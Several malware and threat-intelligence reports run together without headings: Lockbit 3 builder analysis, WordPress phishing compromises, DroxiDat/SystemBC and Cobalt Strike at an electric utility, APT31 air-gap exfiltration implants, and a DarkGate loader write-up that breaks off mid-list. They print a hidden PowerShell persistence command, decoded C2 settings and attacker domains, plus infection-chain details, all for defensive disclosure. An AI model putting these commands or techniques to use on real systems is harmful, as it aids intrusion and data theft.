Lockbit is one of the most prevalent ransomware strains. It comes with an affiliate ransomware-as-a-service (RaaS) program offering up to 80% of the ransom demand to participants, and includes a bug bounty program for those who detect and report vulnerabilities that allow files to be decrypted without paying the ransom. According to the Lockbit owners, the namesake cybercriminal group, there have been bounty payments of up to 50 thousand dollars. In addition to these features, Lockbit has offered a searchable portal to query leaked information from companies targeted by this ransomware family, and even offered payment to those who get tattooed with a Lockbit logo on their body.

Lockbit v3, also known as Lockbit Black, was detected for the first time in June 2022 and represents a challenge for analysts and automated analysis systems. Among the most challenging characteristics, we can highlight the following:

• It supports the usage of encrypted executables with randomly generated passwords. This prevents execution and hinders automatic analysis unless the appropriate password is provided at the command line.
• The payload includes strong protection techniques against reverse-engineering analysis.
• It includes many undocumented kernel-level Windows functions.

In September of 2022, multiple security news professionals wrote about and confirmed the leakage of a builder for Lockbit 3. This tool allowed anyone to create their own customized version of the ransomware. Two different users published the files needed to create different flavors of this ransomware:

Lockbit builder uploaded to GitHub

According to our analysis, two different variants were spotted by the X’s (previously known as Twitter) users @protonleaks and @ali_qushji. Our timestamp analysis confirmed that the binary, builder.exe, was slightly different in both leaks. The version from protonleaks registers the compilation date 2022/09/09. Meanwhile, the version from ali_qushji was compiled on 2022/09/13. A similar difference in compilation time was identified in the malware’s template binaries (embedded and incomplete versions of the malware used to build the final version ready for distribution).

ALI_QUSHJI leak builder

PROTONLEAKS leak builder

Who abused these builders and how?

Immediately after the builder leak, during an incident response by our GERT team, we managed to find an intrusion that leveraged the encryption of critical systems with a variant of Lockbit 3 ransomware. Our protection system confirmed and detected the threat as “Trojan.Win32.Inject.aokvy”.

The intrusion included TTPs similar to those highlighted in the report by Kaspersky Threat Intelligence team from August 2022 about the eight main ransomware groups behind ransomware attacks, including tactics for reconnaissance, enumeration, collection and deployment.

Although this variant was confirmed as Lockbit, the ransom demand procedure was quite different from the one known to be implemented by this threat actor. The attacker behind this incident decided to use a different ransom note with a headline related to a previously unknown group, called NATIONAL HAZARD AGENCY.

Original Lockbit ransom note

Managed incident ransom note

The ransom note used in this case directly described the amount to be paid to obtain the keys, and directed communications to a Tox service and email, unlike the Lockbit group, which uses its own communication and negotiation platform.

According to other analysts’ publications, different groups appeared using the exfiltrated builders, but with their own notes and communication channels:

BL00DY RANSOMWARE GANG (Source: https://twitter.com/malwrhunterteam/status/1574260677597925376)

GetLucky ransom note, Source: AnyRun

GERT’s approach to analyzing the builder and payload

While many threat actors took advantage of the leak to propose new ransomware groups, Kaspersky’s GERT team decided to analyze the builder to understand its construction methodology and define additional analysis opportunities.

The analysis of the builder addressed some of the challenges posed by the ransomware payload:

• The builder contains no protection mechanisms as it will be used by the actors and should not be exposed: no anti-debugging (at least in the builder itself), no anti-reversing, no code obfuscation, sample templates embedded as resource (decrypter, EXE, DLL, reflective DLL).
• We learned how the configuration parameters are embedded within the payload without requiring reverse engineering of the final binary.

The builder presents different configuration parameters that are compulsorily embedded in the malware.

Embedded resources

The encrypter and decrypter templates are embedded into the builder’s resource section:

• 100: LockBit 3.0 Decryptor (EXE)
• 101: LockBit 3.0 Encryptor (EXE)
• 103: LockBit 3.0 Encryptor (DLL)
• 106: LockBit 3.0 Encryptor (Reflective DLL)

An approach was proposed – based on the methodology of constructing the configuration parameters and how they were added to the selected payload – to figure out:

• How parameter configuration parsing is performed
• How data transformation is applied
• How the configuration is encrypted and then stored within the final binary

The payload-embedded configuration

The reverse-engineering analysis identified that the configuration is embedded in a section named .pdata, which is first encrypted using an XOR function with a key derived from a random seed and then compressed to embed it in the payload.

If the sample is configured to be encrypted using a password, the configuration will be similarly embedded in the binary first and then the sample will be encrypted with a unique key.

.pdata – this section contains the embedded configuration

Embedded data (encrypted and compressed)

The creation of the XOR key, used to decrypt the content embedded in the section, depends on two random keys along with other fixed values embedded in the binary source code.

Decryption and subsequent decompression results in a set of sample configuration parameters, some of them with easily identifiable encryption mechanisms.

Decrypted section

Decompressed section

The next step is to interpret the fields and apply the required decryption to each of them to transform them into intelligible values.

The builder uses a custom hashing function that produces a 4-byte value for each of the values entered in the configuration parameters white_folders, white_files, white_extens and white_hosts. Other fields are stored with Base64 and ROR13.

Finally, interpreting the meaning of the fields in the config.json file and the relationship between the fields allows us to confirm that:

• Most configuration fields are easy to interpret based on their name and content.
• Some fields accept values only from a list of values.
• Many fields with string values are stored using ROR13 before being loaded into the payload configuration.
• Some fields accept multiple list values, using the “;” separator.
• Credentials must be stored in the format <user>:<password>.

Config.json – what the fields mean

Based on these results, we defined a sample analysis procedure and applied it to multiple samples to determine the type of actors, objectives and construction preferences of the payloads.

Statistics of samples reported in our intelligence platforms

The objective of this analysis is to understand the parameters applied by different actors to build the malware as configured in samples detected in the wild.

During our research, 396 distinct samples were analyzed. According to the timestamps, mostly samples created by the leaked builders were detected, but other unknown builders dated June and July 2022 were also identified.

General statistics of the embedded configuration:

• Many of the detected parameters correspond to the default configuration of the builder, only some contain minor changes. This indicates the samples were likely developed for urgent needs or possibly by lazy actors.
• The most recurrent encryption targets are local disks and network shares, avoiding hidden folders.
• The samples generally run a single instance and enable the following parameters:
  • kill service
  • kill process
  • kill defender
  • delete logs
  • self-destruct
• Most of the samples identified do not enable the system shutdown option.
• Network deployment by PSEXEC is configured in 90% of the samples, while deployment by GPO is configured in 72%.
• Very few samples enable communication to C2.

Detailed statistics

The C2 communication configuration showed it was rarely used and included three test domains. No suspicious or malicious domains were identified in the analyzed samples, showing there’s no interest for establishing C2 communications using the leaked payloads.

Moreover, inside the configuration, the impersonation data list (credentials registered within the payload configuration) records general data with a default brute-force list. But it was possible to detect other binaries with specific data that allow identifying the organizations or individuals attacked.

It is important to keep in mind that Lockbit payloads and other ransomware actors integrate this type of information inside samples, and the handling of such samples must be done properly to avoid information leaks.

Finally, some statistics relate to the usage of leaked builders by actors other than the “original” Lockbit. We found that 77 samples make no reference to a “Lockbit” string (case-insensitive) in the ransom note, which is quite unexpected according to LB TTP.

The modified ransom note without reference to Lockbit or with a different contact address (mail/URL) reveals probable misuse of the builder by actors other than the “original” Lockbit.

Phishers want their fake pages to cost minimum effort but generate as much income as possible, so they eagerly use various tools and techniques to evade detection, and save time and money. Examples include automation with phishing kits or Telegram bots. Another tactic, popular with scammers big and small, phishers included, is hacking websites and placing malicious content on those, rather than registering new domains. Besides tucking a phishing page inside the website they hack, scammers can steal all of the data on the server and completely disrupt the site’s operation.

What sites get hacked the most

Abandoned websites end up captured by cybercriminals fairly often. A lack of maintenance and security patches means they are easy to compromise using a known exploit. Besides, on a long-neglected site, phishing pages can stay up for long periods of time, as no one monitors what gets published, which is exactly what scammers look for.

This does not mean malicious actors do not attack actively maintained sites, though. Smaller websites attracting little traffic are among those exposed to the hacking threat. Their owners may not be able to afford to spend enough money on information security or hiring a security professional, they may be unfamiliar with security settings, or they may be confident that their website is too small to be of any interest to hackers. However, to a phisher, the possibility of hacking the website is more important than its popularity, as links to scam pages are likely to be emailed or sent via instant messaging platforms. Therefore, even smaller websites are an attractive target for scammers.

According to W3Techs, 43.1% of all websites on the internet are powered by the WordPress content management system. There is a huge number of third-party plugins designed for extending the functionality of this popular platform. New vulnerabilities exploited by hackers are discovered both in plugins and in WordPress itself on a regular basis. The rest of this article will deal with phishing pages on hacked websites that are powered by WordPress.

Hacking WordPress websites

Most of the time, phishers who hack WordPress websites do so by exploiting security holes. After a successful exploitation attempt, hackers upload a WSO web shell and use that to gain access to the website control panel, circumventing the authentication step. This opens the control panel to all comers, allowing for any changes anyone may wish to make. In May 2023, our systems discovered over 350 unique domains with open access to the control panel. That said, the real number of these websites could be much higher, as a compromised control panel may not be publicly accessible all the time.

Control panel of a hacked website

Alternatively, malicious actors may hijack the website administrator’s account by brute-forcing a weak password or using leaked credentials. In that case, they do not need any extra software to access the control panel. All they have to do is log into the compromised account and start putting up fake pages.

Sometimes, hackers leave the site’s main functionality in place as they publish phishing pages. A visitor would never guess the site has been hacked: every section is where it is supposed to be, and only relevant information can be seen. Scammers hide their malicious content inside new directories that cannot be accessed from the main website menu.

Home page of a hacked website

However, most hacked websites have broken links to other sections on the home page, as hackers delete the original directories, replacing these with phishing content.

Phishing page on a hacked website

Data, such as credentials for a website, bank card details including the CVV or other personal information depending on the type of scam, will be stored in the control panel if entered by a visitor on the fake page. If the website also has a web shell installed and anyone can get access to the content, the victim’s data will be visible to anyone.

Page with stolen user data

Scammers may offer the stolen data for sale on the dark web or use it to siphon money out of the victim’s bank account. Furthermore, they may use the information they collect to make their future scams look more credible.

Signs of a hacked WordPress site

There are several fairly obvious signs that may suggest you are looking at a phishing page hosted on a compromised website.

1. The page URL contains folders like /wp-Config/, /wp-content/, /wp-admin/, /wp-includes/ or similar, and the destination directory contains a PHP file. Web pages with the extension .php may be seen on legitimate websites, but they are a sure sign of phishing when combined with the above directory names.

   Phishing page: the URL is showing /wp-content/ and the page is named login.php

2. The content on the home page is apparently unrelated to the phishing page. A Chinese website about computers shown below contains a directory with a phishing page inside targeting the clients of a French bank.

   Home page of the hacked Chinese site

   Phishing page in French in a new directory on the same website

3. The URL contains the correct (or modified) name of the service the scammers are trying to imitate, but the name has nothing to do with the name of the website itself.

   Phishing page placed inside the “Netflix” directory and imitating the Netflix login form

Statistics on hacked WordPress sites

We added the typical features of hacked websites to our web threat detection rules to enable our technology to recognize and block this type of phishing. This section contains statistics on websites detected with the help of that new functionality.

From May 15 through July 31, 2023, we discovered 22400 unique WordPress websites that had been hacked to create phishing pages. The figure includes both compromised sites with open access to the control panel at the time of detection and those whose control panels were not available to unauthenticated users.

Number of detected unique hacked WordPress sites, May 15 – July 31, 2023 (download)

During the same period of time, users made a total of 200 213 attempts at visiting fake pages hosted on compromised websites.

Numbers of attempts to visit phishing pages on hacked WordPress websites, May 15 – July 31, 2023 (download)

Services and organizations whose users are most frequently targeted by phishing pages on hacked websites include Netflix, European banks and popular delivery services.

Takeaways

Seasoned cybercriminals hack legitimate websites as a way of setting phishing traps. Both long-neglected and actively maintained websites may be targeted this way. In particular, hackers tend to compromise smaller websites whose owners cannot immediately recognize their presence.

Websites powered by WordPress often suffer from vulnerabilities that allow scammers to easily gain access to the control panel using a special script and publish malicious content. Alternatively, hackers can brute-force the administrator’s credentials or use a stolen password. Website admins should use strong, unique passwords and multi-factor authentication to protect their accounts from hijacking, update the server software on a regular basis, and deactivate plugins that are not in use.

Although hackers work hard to create credible imitations of popular websites whose users they are targeting, you can recognize the signs of phishing on a hacked website. In particular, watch for the following:

• Default names of WordPress directories appearing in the URL
• Name of the imitated brand appearing in one of the directory names
• Page content unrelated to the rest of the website

Between mid-May and mid-June, our systems detected upward of seven thousand unique websites that had been hacked and used for phishing purposes.

Recently we pushed a report to our customers about an interesting and common component of the cybercrime malware set – SystemBC. And, in much the same vein as the 2021 Darkside Colonial Pipeline incident, we found a new SystemBC variant deployed to a critical infrastructure target. This time, the proxy-capable backdoor was deployed alongside Cobalt Strike beacons in a south African nation’s critical infrastructure.

Kim Zetter closely reviewed the preceding Colonial Pipeline incident in her BlackHat 2022 keynote “Pre-Stuxnet, Post-Stuxnet: Everything Has Changed, Nothing Has Changed”, calling it a “watershed moment”. We are now seeing targeting and tactical similarities elsewhere in the world.

A lot of abstract content and interesting trend analysis has been published about industrial ransomware attacks “The second quarter of 2023 proved to be an exceptionally active period for ransomware groups, posing significant threats to industrial organizations and infrastructure”, but very little technical detail in the way of particular electric utility ransomware incidents has been publicly reported. We know that surveyed utilities, on a global basis, are reporting more and more in the way of targeted activity and higher risk: “56% [of respondents] report at least one attack involving a loss of private information or an outage in the OT environment in the past 12 months”. While not all of the activity is attributed to ransomware actors, perhaps the relevant ransomware attackers are avoiding retaliation by strong government agencies and alliances, while continuing to act on a game plan that demonstrated previous successes. Regardless, this increased utilities targeting is a real world problem with serious potential consequences, especially in areas where network outages may affect customers on a country-wide basis.

Notably, an unknown actor targeted an electric utility in southern Africa with Cobalt Strike beacons and DroxiDat, a new variant of the SystemBC payload. We speculate that this incident was in the initial stages of a ransomware attack. This attack occurred in the third and fourth week of March 2023, as a part of a small wave of attacks involving both DroxiDat and CobaltStrike beacons across the world. DroxiDat, a lean ~8kb variant of SystemBC serving as a system profiler and simple SOCKS5-capable bot, was detected in the electric utility. The C2 infrastructure for this electric utility incident involved an energy-related domain “powersupportplan[.]com” that resolved to an already suspicious IP host. This host was previously used several years prior as a part of an APT activity, raising the potential for an APT-related targeted attack. While our interest was piqued, a link to that previous APT was never established, and was likely unrelated. Ransomware was not delivered to the organization, and we do not have enough information to precisely attribute this activity. However, in a healthcare related incident involving DroxiDat around the same timeframe, Nokoyawa ransomware was delivered, along with several other incidents involving CobaltStrike sharing the same license_id and staging directories, and/or C2.

DroxiDat/SystemBC Technical Details

The DroxiDat/SystemBC payload component is interesting in its own right as a changing, malicious backdoor, often used as a part of ransomware incidents. Multiple “types” of SystemBC have been publicly catalogued. The SystemBC platform has been offered for sale on various underground forums at least since 2018 as a “malware as a service,” or MaaS. This platform is made up of three separate parts: on the server side, a C2 web server with admin panel and a C2 proxy listener; on the target side is a backdoor payload. Regarding an earlier SystemBC variant, other researchers have stated that “SystemBC is an attractive tool in these types of operations because it allows for multiple targets to be worked at the same time with automated tasks, allowing for hands-off deployment of ransomware using Windows built-in tools if the attackers gain the proper credentials.”

This DroxiDat variant is very compact compared to previous and common 15-30kb+ SystemBC variants. Detected SystemBC objects going back to at least 2018 (a SystemBC executable compiled in July 2017 was observed) have numbered in the thousands and were used by a long list of ransomware affiliates. In fact, it appears that most of the functionality provided in previous SystemBC payloads was stripped from its codebase, and the purpose of this DroxiDat malware variant is a simple system profiler – its file name suggests its use case as “syscheck.exe”. It provides no download-and-execute capabilities, but can connect with remote listeners and pass data back and forth, and modify the system registry. Also interesting, within this power generator network, DroxiDat/systemBC was detected exclusively on system assets similar to past DarkSide targets. And, a Darkside affiliate hit Electrobras and Copel energy companies in Brazil in 2021. The combination of C:\perflogs for storage with DroxiDat/SystemBC and CobaltStrike executable objects was used in past Egregor and Ryuk incidents as well.

MD5 8d582a14279920af10d37eae3ff2b705 SHA1 f98b32755cbfa063a868c64bd761486f7d5240cc SHA256 a00ca18431363b32ca20bf2da33a2e2704ca40b0c56064656432afd18a62824e Link time Thu, 15 Dec 2022 06:34:16 UTC File type PE32 executable (GUI) Intel 80386, for MS Windows File size 8192 bytes File path C:\perflogs\syscheck.exe

Two instances of this DroxiDat malware appeared in C:\perflogs alongside two Cobalt Strike beacons on multiple systems.
Essentially, this variant provides several functions:

• Retrieves active machine name/username, local IP and volume serial information.
• Instead of creating an exclusive-use mutex, it checks and then creates a new thread and registers a window, class “Microsoft” and text “win32app” (included in all variants of systemBC).
• Simple xor decrypts its C2 (IP:port) settings and creates a session to the remote host.
• Encrypts and sends collected system information to the C2.
• May create and delete registry keys and values.

Missing from this Windows variant that is common to past variants:

• File creation capability.
• File-execution switch statement, parsing for hardcoded file extensions (vbs, cmd, bat, exe, ps1) and code execution functionality.
• Mini-TOR client capabilities.
• Emisoft anti-malware scan.

The object contains xor-encoded configuration settings:
XOR KEY: 0xB6108A9DB511264DB3FAFDB74F3D7F22ECCFC2683755966371A3974A1EA15A074404D96B6510CEE6
HOST1: 93.115.25.41
HOST2: 192.168.1.28
PORT1: 443

So in this case, its immediate C2 destination is 93.115.25.41:443
Up until November 2022, this IP host provided bitcoin services. Ownership likely changed in December 2022, as the above backdoor was compiled mid-December.
A second DroxiDat executable was sent down to the same systems with capabilities to add executable entries to the “Software\Microsoft\Windows\CurrentVersion\Run” registry key with a “socks5” entry, i.e.:

powershell.exe -windowstyle hidden -Command "c:\perflogs\hos.exe"

A third DroxiDat object, this time a dll, was sent down to a server.

MD5 1957deed26c7f157cedcbdae3c565cff SHA1 be9e23e56c4a25a8ea453c093714eed5e36c66d0 SHA256 926fcb9483faa39dd93c8442e43af9285844a1fbbe493f3e4731bbbaecffb732 Link time Thu, 15 Dec 2022 06:07:31 UTC File type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows File size 7168 bytes File path c:\perflogs\svch.dll

It implements essentially the same functionality as “syscheck.exe” above without the ability to modify the registry. It also maintains the same HOST and PORT values, and 40-byte key.

Cobalt Strike beacons and related infrastructure

Cobalt Strike beacons were detected on these systems as well, located in the same directory and similar infrastructure. In a couple of instances, the beacons arrived and were detected on the same day as DroxiDat. In several instances, a couple of the beacons first arrived and were detected in the same perflogs directory two days later, and several more six days later. It’s highly likely that the same attackers maintained access via stolen credentials or another unknown method.

The beacons’ infrastructure was power-utility themed:
powersupportplan[.]com, 179.60.146.6
URL: /rs.css, /skin

Several beacons calling back to this C2 included the same license_id value:
"license_id": "0x282d4156"

We identified one other Cobalt Strike C2 server and beacon cluster, possibly spoofing a power-utility theme as well, along with other related data points: epowersoftware[.]com, 194.165.16.63.

The ssh server on this epowersoftware host shares the same ssh version and RSA key(s) with the one at powersupportplan[.]com. Additionally, the CS beacon calling back to this domain maintains the same license_id, as seen above: “license_id”: “0x282d4156”.

Attribution

We have a consistent set of data points across multiple incidents mentioned in our private report, helping suggest an assessment may be made with low confidence. Several of these suggest this activity may be attributed to Russian-speaking RaaS cybercrime. In this case, we may be looking at an activity from a group known as Pistachio Tempest or FIN12, a group HHS reported “has specifically targeted the healthcare industry” in 2022, frequently deploying SystemBC alongside CS Beacon to deploy ransomware:

• Consistent use of the same perflogs staging directory across this intrusion set within an early 2023 timeframe.
• SystemBC consistently paired alongside Cobalt Strike.
• Shared profile data across Cobalt Strike hosts.
• Nokoyawa ransomware deployment alongside DroxiDat within a health care organization early 2023.

More details can be found in our private crimeware intelligence report “Focus on DroxiDat/SystemBC – Unknown Actor Targets Power Generator with DroxiDat and CobaltStrike” released in June 2023.

Reference IoC Domains and IP

93.115.25.41
powersupportplan[.]com, 179.60.146.6

Likely related
epowersoftware[.]com, 194.165.16.63

File hash

Droxidat
8d582a14279920af10d37eae3ff2b705
f98b32755cbfa063a868c64bd761486f7d5240cc
a00ca18431363b32ca20bf2da33a2e2704ca40b0c56064656432afd18a62824e

CobaltStrike beacon
19567b140ae6f266bac6d1ba70459fbd
fd9016c64aea037465ce045d998c1eead3971d35
a002668f47ff6eb7dd1b327a23bafc3a04bf5208f71610960366dfc28e280fe4

File paths, related objects

C:\perflogs\syscheck.exe
C:\perflogs\a.dll
C:\perflogs\hos.exe
C:\perflogs\host.exe
C:\perflogs\hostt.exe
C:\perflogs\svch.dll
C:\perflogs\svchoct.dll
C:\perflogs\admin\svcpost.dll
C:\perflogs\admin\syscheck.exe
C:\perflogs\sk64.dll
C:\perflogs\clinic.exe

SystemBC is like Christmas in July for SOCKS5 Malware and Exploit Kits
They’re back: inside a new Ryuk ransomware attack

In 2022 we investigated a series of attacks against industrial organizations in Eastern Europe. In the campaigns, the attackers aimed to establish a permanent channel for data exfiltration, including data stored on air-gapped systems.

Based on similarities found between these campaigns and previously researched campaigns (e.g., ExCone, DexCone), including the use of FourteenHi variants, specific TTPs and the scope of the attack, we have medium to high confidence that a threat actor called APT31, also known as Judgment Panda and Zirconium, is behind the activities described in this report.

To exfiltrate data and deliver next-stage malware, the threat actor (or actors) abuse(s) a cloud-based data storage, e.g., Dropbox or Yandex Disk, as well as a service used for temporary file sharing. They also use C2 deployed on regular virtual private servers (VPS). In addition, the threat actor(s) deploy(s) a stack of implants that collect data from air-gapped networks via infected removable drives.

For most implants, the threat actor(s) use(s) similar implementations of DLL hijacking (often associated with Shadowpad malware) and memory injection techniques, along with using RC4 encryption to hide the payload and to evade detectionlibssl.dll or libcurl.dll was statically linked to implants to implement encrypted C2 communications.

In total we have identified over 15 implants and their variants planted by the threat actor(s) in various combinations.

The entire stack of implants used in attacks can be divided into three categories based on their roles:aaaaaa

• First-stage implants for persistent remote access and initial data gathering
• Second-stage implants for gathering data and files, including from air-gapped systems
• Third-stage implants and tools used to upload data to C2

Technical details of the attacks, as well as recommendations and indicators of compromise, can be found in the full public version of the article on the Kaspersky ICS CERT website.

A private version of the article has been published on Kaspersky Threat Intelligence.

For more information please contact ics-cert@kaspersky.com.

First-stage implants for remote access Variants of FourteenHi

FourteenHi is a malware family discovered in 2021 in a campaign that was dubbed ExCone (1, 2), active since mid-March 2021 and targeting government entities. In 2022 we discovered new variants used in attacks against industrial organizations.

Various samples of FourteenHi (both x64 and x86) are significantly different from each other in their code structure, i loaders, and C2 types. But their core distinctive features, such as the C2 communication protocol and the list of commands, are pretty much the same.

The loading scheme is more or less the same for all of the variants and consists of three main components:

1. Legitimate application that is vulnerable to DLL hijacking.
2. Malicious DLL that is loaded via DLL hijacking and is used to read and decrypt the FourteenHi payload from a binary data file and inject it into some system process such as svchost.exe or msiexec.exe.
3. A binary data file containing the FourteenHi binary code encrypted with RC4.

All known variants of FourteenHi have config data embedded in their code and encrypted with RC4. The configuration defines the campaign ID, C2 address and port. The configuration of FourteenHi x64 also defines the name and description of the Windows service it creates for persistence when executed without parameters.

MeatBall backdoor

The MeatBall backdoor is a new implant that we discovered in the process of researching attacks. It has vast remote access capabilities, including making lists of running processes, connected devices and disks, performing file operations, capturing screenshots, using remote shell, and self-updating. The implant exists in variants for x86 and x64.

The implant also uses a loading scheme based on the DLL hijacking technique, but unlike many other implants, the payload is stored in the malicious DLL loader itself, not in a separate file.

The implant is statically linked with libssl.dll, which is used for SSL encryption of C2 communication.

Implant using Yandex Cloud as C2

Another implant we found was one that uses the Yandex Cloud data storage as a C2 (https://cloud-api.yandex[.]net) similarly to the malware described in an earlier report. The implant uses a DLL hijacking based loading scheme, in which the malicious DLL decrypts the implant’s body stored in a separate file and injects it into a legitimate process’s memory.

The implant uses statically linked libcurl.dll for SSL-encrypted communication.

The implant collects the following data on the host:

• Computer name
• User name
• IP address
• MAC address
• OS version
• Path to %System%

To upload the data collected to C2, the implant sends a request using an embedded API token to create a directory with a name that is unique to the victim host.

All uploaded and downloaded data is encrypted with the RC4 algorithm.

Second-stage implants for gathering data and files Dedicated implant for gathering local files

In May 2022, a dedicated implant for gathering local files was discovered. The implant uses a loading scheme based on the DLL hijacking technique, where the malicious DLL loader ensures persistence by creating a service named “WinSystemHost”, decrypting and injecting the payload stored as binary data in a separate file into the memory of a legitimate process.

The implant starts “msiexec.exe” then read and decrypt the payload from separate file and inject it into the memory of “msiexec.exe”.

Once the payload starts to be executed in the memory of “msiexec.exe”, it runs into an endless loop consisting of 6 simple steps:

• Create folders for file storage (if they do not exist) and find the path to “WinRar.exe”
• Decrypt strings
• Read config and start searching for files on all disks
• Copy files and write log
• Archive copied files and clean up
• Sleep for 10 minutes

In order to exfiltrate the data collected, the threat actor uses a stack of implants to upload the archives to Dropbox.

Stack of implants used to exfiltrate data from air-gapped networks via removable drives

In April 2022, we discovered malware designed to exfiltrate data from air-gapped systems by infecting removable drives.

Simplified diagram of the interaction of the implant with a removable media

The first (main) module is responsible for handling removable drives, including:

• collecting information about a drive,
• cloning each drive’s filesystem structure to a local temporary folder and keeping the structure up to date,
• collecting stolen files from a drive and planting second-step malware on newly connected drives,
• capturing screenshots and window titles on the infected machine.

The main module creates a folder in “%TEMP%”, where it will store logs, info on connected drives and the drives’ contents.

Next, for each removable drive, the implant creates a subfolder, where the subfolder’s name is the same as the serial number of the drive.

The implant also checks these folders for the following files that are used to infect a removable drive whose serial number matches the name of the folder:

• “mcods.exe”, which is a legitimate McAfee executable vulnerable to DLL hijacking
• “McVsoCfg.dll”, which is the second-step payload
• “DOC”, “PDF” or “DIR” files, which define the lure link file to be used

The presence of the files mentioned above in the folder assigned to a specific removable drive indicates that the attackers first analyze the contents of removable drives for some time and only then copy the files used to infect a specific removable drive to the folder specified.

To infect a removable drive, the main module simply copies two files, “mcods.exe” and a second-step malware “McVsoCfg.dll”, to the drive’s root directory and sets the “Hidden” attribute for both files.

In addition, if a fourth-step malware exists, it will also be copied to the removable drive together with the second-step implant.

Then the main module produces a lure link file in the root directory of the removable drive.

When a user opens the lure “.lnk” file, the OS will load “mcods.exe”, which will load “McVsoCfg.dll” and call its function “McVsoCfgGetObject”.

Simplified scheme of infecting a computer in an isolated network segment through an infected removable media

After that, the implant deploys the third-step malware executable by extracting it from its own file (“McVsoCfg.dll”) and saving it to “%APPDATA%” with the name “msgui.exe” on the host being attacked.

The third-step implant, “msgui.exe”, is quite small and simple – it is designed to execute a batch script with “cmd.exe” to collect data and save the output to the drive’s “$RECYCLE.BIN” folder so that it can be collected by the main module of the malware (when connected to the originally infected host). Then it looks for any fourth-step file to be executed and then deleted (if it exists).

The fourth-step malware consists of two files:

• A simple dropper of the payload (similar to that used by second-step malware)
• The payload, which is, in fact, a modified version of the first-step module and is also designed to collect information about a drive, collect files, capture screenshots and keystrokes (when connected to the originally infected host), but without the routine responsible for infecting a removable drive

Both modules (first-step and fourth-step) have similar configurations and data saving routines:

Simplified scheme for collecting data stolen from a computer in an isolated network segment through an infected removable media

To collect all the stolen data, the threat actor uses a remote shell to run implants designed to upload data.

Third-stage implants and tools used to upload data to C2

The third-stage implants were deployed by the threat actor(s) via the first-stage, as well as the second-stage, implants.

Third-stage implants have much in common with the first-stage implants, including the use of a cloud-based data storage (e.g. Dropbox, Yandex Disk), code obfuscation, and the implementation of DLL hijacking techniques.

Stack of implants used to upload files to Dropbox

A stack of implants for uploading files to Dropbox is designed to work in tandem with a second-stage file-gathering implant.

The malware stack consists of three implants forming a straight execution chain (which consists of three steps).

The first step is used for persistence, the deployment and startup of the second-step malware module, which is responsible for uploading the files collected to the server by calling the third-step implant and cleaning up.

During our analysis, we identified five variants of third-step and two variants of second-step implants deployed a few months after the initial attack.

The very first variants of second-step implants in the chain were designed to decrypt a third-step payload and inject it into a legitimate process (e.g., “msiexec.exe”). All variants of third-step payloads in this chain were almost identical, except for the C2 address.

The C2 IP address in one of the third-step variants caught our attention because it was a local IP address. This means that the threat actor deployed a C2 inside the corporate perimeter and apparently used it as a proxy to exfiltrate data from hosts that didn’t have direct access to the internet.

Later, the threat actor deployed a new variant of the second-step implant, whose capabilities included looking up file names in the Outlook folder (i.e., email account names), executing remote commands and uploading local or remote “.rar” files to Dropbox by calling the third-step implant.

To upload local files, the second-step implant calls a third-step implant, which is supposed to be already deployed on the machine either at the statically defined path “c:/users/public/” or at the same path as the second-step implant.

All the third-step variants are designed to upload the “.rar” files collected to Dropbox from “C:\ProgramData\NetWorks\ZZ” on the local machine.

Tools for manual exfiltration of stolen files

Along with various other implants, we discovered two tools used by the threat actor for manual data exfiltration.

One tool, named “AuditSvc.exe”, was designed for uploading and downloading arbitrary files to and from Yandex Disk. The OAuth token, file path and some other parameters could be passed as command line arguments. Alternatively, the parameters could be defined in a config file named “MyLog.ini”.

The second tool discovered, named “transfer.exe”, was designed to upload and download arbitrary files to and from any of 16 supported temporary file sharing services.

Implant used to upload files via the Yandex email service

The implant designed to send files via the Yandex email service was downloaded from Yandex Disk. It was also statically linked with libcurl.dll.

The implant is designed to exfiltrate a single file located at the static path “C:\Users\Public\Downloads\111.log” (which was hard-coded into the implant). The “.log” file is sent as an attachment to an email.

The file “111.log” is most probably produced by one of the previous-stage implants and can contain the output of CMD commands or URLs for files uploaded to a temporary data sharing service by a tool described above.

After a single attempt to send an email, the implant terminates. Such straight execution flow and the absence of persistence capabilities may mean that the implant was expected to be used as a tool rather than a self-sufficient service.

Conclusion

In this research we analyzed a broad set of implants used by the threat actor(s) for remote access, to gather data and to upload data.

Threat actors keep making it more difficult to detect and analyze threats by hiding payloads in encrypted form in separate binary data files and by hiding malicious code in the memory of legitimate applications via DLL hijacking and a chain of memory injections.

In most cases for exfiltration of data from air-gapped networks threat actors choose TTPs based on infecting removable media.

The tendency to abuse cloud services (e.g., Dropbox, Yandex, Google, etc.) is not new, but it continues to expand, because it is hard to restrict / mitigate in cases when an organization’s business processes depend on using such services.

At the same time, abusing popular cloud-based data storages opens up the possibility for stolen data to be leaked a second time in the event that a third party gets access to a storage used by the threat actor(s).

Introduction

The malware landscape keeps evolving. New families are born, while others disappear. Some families are short-lived, while others remain active for quite a long time. In order to follow this evolution, we rely both on samples that we detect and our monitoring efforts, which cover botnets and  underground forums.

While doing so, we found new Emotet samples, a new loader dubbed “DarkGate”, and a new LokiBot infostealer campaign. We described all three in private reports, from which this post contains an excerpt.

If you want to learn more about our crimeware reporting service, please contact us at crimewareintel@kaspersky.com.

DarkGate

In June 2023, a well-known malware developer posted an advertisement on a popular dark web forum, boasting of having developed a loader that he had been working on for more than 20,000 hours since 2017. Some of the main features, which went beyond typical downloader functionality, supposedly included the following:

• Hidden VNC
• Windows Defender exclusion
• Browser history stealer
• Reverse proxy
• File manager
• Discord token stealer

The full list of the touted capabilities is available in our private report.

The sample we obtained is missing some of  these features, but that doesn’t mean much, as they are enabled or disabled in the builder anyway. We were, however, able to reconstruct the infection chain, which consists of four stages, all the way to loading the final payload: DarkGate itself.

1. VBS downloader script: The script is fairly simple. It sets several environment variables to obfuscate subsequent command invocations. Two files (Autoit3.exe and script.au3) are then downloaded from the C2, and Autoit3.exe is executed with script.au3 as an argument.
2. AutoIT V3 script: AutoIT V3 is a BASIC-like freeware scripting language, which is often used by malware authors, as it can simulate keystrokes and mouse movements, among other things. The script that is executed is obfuscated, but ultimately allocates memory to the embedded shellcode and finally executes the shellcode.
3. Shellcode: The shellcode is pretty straightforward: it constructs a PE file in the memory, resolves imports dynamically and transfers control to it.
4. DarkGate executor (the PE file constructed by the shellcode): The executor loads the script.au3 file into the memory and locates an encrypted blob within the script. The encrypted blob is then decrypted (using a XOR key and a final NOT operation). This results in a PE file, whose import table is dynamically resolved. The final result is the DarkGate loader.

The DarkGate loader has several global variables, actually a Delphi TStringList, comprising 17 variables that describe the core functionality of the malware:

1. Variable that is set if an AV is found
2. Variable that is set if a virtual environment is found
3. Variable that is set if a Xeon processor is found
4. C2 port number

